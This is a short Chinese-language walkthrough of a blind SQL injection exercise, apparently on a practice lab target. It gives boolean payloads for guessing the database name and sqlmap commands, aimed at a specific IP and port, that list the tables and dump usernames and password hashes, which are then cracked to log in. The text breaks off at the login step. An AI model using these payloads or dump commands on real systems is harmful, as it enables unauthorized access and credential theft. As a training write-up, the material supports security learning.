SQL注入漏洞测试(布尔盲注)
1.打开靶场，寻找注入点。
点击公告/new_list.php?id=1，找到注入点。
2.输入id=1’ and 1=1，返回空页面
输入id=1 and 1=1，返回正常页面。
3.判断数据库名字的长度，输入id=1 and length(database())=1，返回空白页，证明不是1，一个一个试确定长度为10。
4.判断数据库的名字，输入id=1 and substr(database(),1,1)=‘a’ --+，返回空白页，最后第一个确定为s，一次类推，最后确定数据库名字为stormgroup。
5.发现这样一个一个试，太难受了。默默打开了kali，使用sqlmap。
输入：
sqlmap -u http://219.153.49.228:41878/new_list.php?id=1 --current-db
输入：
sqlmap -u http://219.153.49.228:41878/new_list.php?id=1 -D stormgroup --tables
输入
sqlmap -u http://219.153.49.228:41878/new_list.php?id=1 -D stormgroup -T member --columns
得到列名name，password，status
输入
sqlmap -u http://219.153.49.228:41878/new_list.php?id=1 -D stormgroup -T member -C
name,password --dump
获得两个密码。
6.两个密码都用md5解密，第二个登录成功，获取key。
第二个合适
登录：
